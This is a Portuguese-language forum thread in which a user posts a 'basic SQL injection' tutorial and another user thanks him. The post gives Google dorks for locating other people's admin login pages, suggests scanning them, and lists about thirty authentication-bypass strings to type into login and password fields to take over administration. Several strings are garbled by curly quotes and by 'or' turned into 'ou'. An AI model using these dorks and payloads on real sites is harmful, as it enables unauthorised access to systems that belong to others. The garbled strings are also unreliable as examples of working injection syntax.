Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL Injection Basico

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection Basico

    Bom galera vou explicar SQL injection – método de inserção de strings no banco de dados do servidor – podendo assim liberar os cookies e conseqüentemente a permissão de administrador.
    Bem devido a alguns erros em banco de dados dos servidores é possível, ainda hoje, encontrar esse tipo de vulnerabilidade.

    SQL Injection vem de injeção de SQL através de strings em campos de login ou senha, depedendo da página vulnerável. Um aliado para descobrir sites com essa vulnerabilidade é o famoso Google que permite pesquisar por páginas visadas a campos de logins
    isso nao significa que essas paginas já estejam vulneraveis ok.
    para pesquisarmos no google precisamo de um comando chamado allinurl.
    esse comando procura especificadamente aquilo que se vem depois dos dois pontos
    exemplo: allinurl:/site/admin/
    com esse codigo ele caçará paginas com campos de logins de adiministraçoes.
    abaixo uma lista com algums codigos para vc pesquisar no google.


    allinurl:/webadmin/default.asp
    allinurl:/menu_admin/default.asp
    allinurl:/menu_admin/index.asp
    allinurl:/menu_admin/login.asp
    allinurl:/noticias/admin/
    allinurl:/news/admin/
    allinurl:/cadastro/admin/
    allinurl:/portal/admin/
    allinurl:/site/admin/
    allinurl:/home/admin.asp
    allinurl:/home/admin/index.asp
    allinurl:/home/admin/default.asp
    allinurl:/home/admin/login.asp
    allinurl:/web/admin/index.asp


    Pegue uma das strings acima e pesquise a vontade:


    Após isso saira uma lista de sites com paginas com campos de logins e senhas
    ate ai tudo bem agora vamos escaniialos usando um scanner como acutinex
    depois de scanniado e acuzando a suposta vulnerabilidade de sql injection

    É só testarmos strings nos campos de loginsda pagina afetada.


    A mesma string usada no login deve ser usada no campo de senha ok.
    abaixo uma lista de strings:

    * b’ or ‘ 1=’
    * ‘ or ‘1
    * ‘ or ‘|
    * ‘ or ‘a’='a
    * ‘ or ”=’
    * ‘ or 1=1–
    * ‘) or (’a'=’a
    * ‘ or ‘1′=’1
    * admin ‘ – -
    * ‘ ou 0=0 –
    * “ou 0=0 –
    * ou 0=0 –
    * ‘ ou 0=0 #
    * “ou 0=0 #
    * ou 0=0 #
    * ‘ ou ‘ x’='x
    * “ou” x”=”x
    * ‘) ou (’ x’='x
    * ‘ ou 1=1 –
    * “ou 1=1 –
    * ou 1=1 –
    * ‘ ou a=a –
    * “ou” a”=”a
    * ‘) ou (’ a’='a
    * “) ou (”a”=”a
    * hi “ou” a”=”a
    * hi “ou 1=1 –
    * hi ‘ ou 1=1 –
    * hi ‘ ou ‘ a’='a
    * hi ‘) ou (’ a’='a
    * hi”) ou (”a”=”a
    * ‘ or ‘x’='x


    Teste varias strings até acertar uma que de uma confusao no banco de dados do servidor.
    Assim te dando acesso a pagina da adiministração
    Espero que tenham gostado…

  • Font Size
    #2
    mano gostei, bem simples a explicação!
    vou começar estudar sql etc ... espero aprender muito com vcs aqui ! (:
    UP!

    Comment

    X
    Working...
    X